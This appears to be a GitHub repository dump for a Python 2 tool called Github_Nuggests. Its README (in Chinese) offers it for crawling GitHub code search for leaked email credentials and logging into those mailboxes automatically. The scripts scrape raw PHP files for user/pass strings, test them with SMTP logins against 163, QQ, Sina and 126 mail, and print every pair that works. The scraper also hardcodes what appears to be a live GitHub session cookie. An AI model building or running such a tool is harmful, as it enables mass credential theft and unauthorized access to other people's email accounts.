├── 1.PNG ├── Mail_Modules.py ├── Nuggests.py └── README.md /1.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/az0ne/Github_Nuggests/6023dea519e0066cbf3730a7b95bca0518945ddd/1.PNG -------------------------------------------------------------------------------- /Mail_Modules.py: -------------------------------------------------------------------------------- 1 | import smtplib 2 | def maillogin_163(username,password,url): 3 | smtp_host = "smtp.163.com" 4 | smtp_port = "25" 5 | smtp_user = username 6 | smtp_pass = password 7 | try: 8 | smtp = smtplib.SMTP() 9 | smtp.connect(smtp_host,smtp_port) 10 | smtp.login(smtp_user,smtp_pass) 11 | print 'Analysis :' + url 12 | print 'Loading 163mail Module' 13 | print smtp_user+':'+smtp_pass+' Login OK!' 14 | except Exception: 15 | pass 16 | def maillogin_qq(username,password,url): 17 | smtp_host = "smtp.qq.com" 18 | smtp_port = "25" 19 | smtp_user = username 20 | smtp_pass = password 21 | try: 22 | smtp = smtplib.SMTP() 23 | smtp.connect(smtp_host,smtp_port) 24 | smtp.login(smtp_user,smtp_pass) 25 | print 'Analysis :' + url 26 | print 'Loading qq mail Module' 27 | print smtp_user+':'+smtp_pass+' Login OK!' 28 | except Exception: 29 | pass 30 | def maillogin_sina(username,password,url): 31 | smtp_host = "smtp.sina.com" 32 | smtp_port = "25" 33 | smtp_user = username 34 | smtp_pass = password 35 | try: 36 | smtp = smtplib.SMTP() 37 | smtp.connect(smtp_host,smtp_port) 38 | smtp.login(smtp_user,smtp_pass) 39 | print 'Analysis :' + url 40 | print 'Loading Sina mail Module' 41 | print smtp_user+':'+smtp_pass+' Login OK!' 42 | except Exception: 43 | pass 44 | def maillogin_126(username,password,url): 45 | smtp_host = "smtp.126.com" 46 | smtp_port = "25" 47 | smtp_user = username 48 | smtp_pass = password 49 | try: 50 | smtp = smtplib.SMTP() 51 | smtp.connect(smtp_host,smtp_port) 52 | smtp.login(smtp_user,smtp_pass) 53 | print 'Analysis :' + url 54 | print 'Loading 126 mail Module' 55 | print smtp_user+':'+smtp_pass+' Login OK!' 56 | except Exception: 57 | pass -------------------------------------------------------------------------------- /Nuggests.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | import requests,sys 3 | from bs4 import BeautifulSoup 4 | from Mail_Modules import maillogin_163,maillogin_qq,maillogin_sina,maillogin_126 5 | global urllist 6 | urllist = [] 7 | 8 | 9 | def mailfilter(list,mod): 10 | usern = '' 11 | password ='' 12 | for url in list: 13 | try: 14 | page = requests.get(url).content 15 | 16 | page = page.split() 17 | 18 | for index in range(len(page)): 19 | if 'user' in page[index]: 20 | usern = page[index+2].strip(',').replace("'","") 21 | #print user 22 | if 'pass' in page[index]: 23 | password = page[index+2].strip(',').replace("'","") 24 | #print password 25 | except: 26 | pass 27 | if mod == '163': 28 | maillogin_163(usern,password,url) 29 | if mod == 'qq': 30 | maillogin_qq(usern,password,url) 31 | if mod == 'sina': 32 | maillogin_sina(usern,password,url) 33 | if mod == '126': 34 | maillogin_126(usern,password,url) 35 | 36 | def read_page(keyword,pages): 37 | pages = int(pages) 38 | print 'Search Keyword : '+keyword 39 | print 'Scanning '+str(pages)+' pages from Github!' 40 | for page in range(pages): 41 | headers = 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.75 Safari/537.36 115Browser/7.2.5' 42 | cookie = {"Cookie":"_octo=GH1.1.1911767667.1480641870; logged_in=yes; dotcom_user=menu88; _ga=GA1.2.1291948085.1480641870; tz=Asia%2FShanghai; _gh_sess=eyJzZXNzaW9uX2lkIjoiNWY4YTVkMTk3YzRhNzg3ZWEwYjM5OWUwZWNhNDY2ZWIiLCJjb250ZXh0IjoiLyIsInNweV9yZXBvIjoibWVudTg4L215cHVibGljIiwic3B5X3JlcG9fYXQiOjE0ODEyNDY5NDN9--170066295059ff1fc3d8b46b50d3c62847ac82eb; user_session=JA153nFX9QfOaFbu2vCdVLPuU_9_K9NvEO4mvMqZ4NaK3TjX; __Host-user_session_same_site=JA153nFX9QfOaFbu2vCdVLPuU_9_K9NvEO4mvMqZ4NaK3TjX"} 43 | url = 'https://github.com/search?l=PHP&p='+str(page)+'&q='+keyword+'&type=Code&utf8=%E2%9C%93' 44 | print '正在抓取第'+str(page)+'页!' 45 | pagecon = requests.get(url,cookies = cookie).content 46 | soup = BeautifulSoup(pagecon,"html.parser") 47 | for link in soup.find_all('a'): 48 | url = link.get('href') 49 | if 'blob' in url: 50 | url = url.split('#')[0] 51 | url = url.split('blob/')[0]+url.split('blob/')[1] 52 | urllist.append('https://raw.githubusercontent.com'+url) 53 | pages = 5 54 | #pages = sys.argv[1] 55 | read_page('smtp+163.com',pages) 56 | urllist = list(set(urllist)) 57 | mailfilter(urllist,'163') 58 | urllist =[] 59 | read_page('smtp+qq.com',pages) 60 | urllist = list(set(urllist)) 61 | mailfilter(urllist,'qq') 62 | urllist =[] 63 | read_page('smtp+sina.com',pages) 64 | urllist = list(set(urllist)) 65 | mailfilter(urllist,'sina') 66 | urllist =[] 67 | read_page('smtp+126.com',pages) 68 | urllist = list(set(urllist)) 69 | mailfilter(urllist,'126') 70 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ##[Github_Nuggests] 2 | 自动爬取Github上文件敏感信息泄露,抓取邮箱密码并自动登录邮箱验证,支持126,qq,sina,163邮箱 3 | ##[依赖] 4 | BeautifulSoup,requests 5 | ##[使用方法] 6 | python Nuggests.py 100 (100为页数最大一百页) 7 | ##[问题] 8 | 如果cookies过期,请将Nuggests.py 文件中{Cookies:xxxxx}换成你github账号登陆的Cookie 9 | 10 | ##[运行截图] 11 | 12 | ![index](/1.PNG) 13 | 14 | ##[博客地址] 15 | http://az0ne.lofter.com --------------------------------------------------------------------------------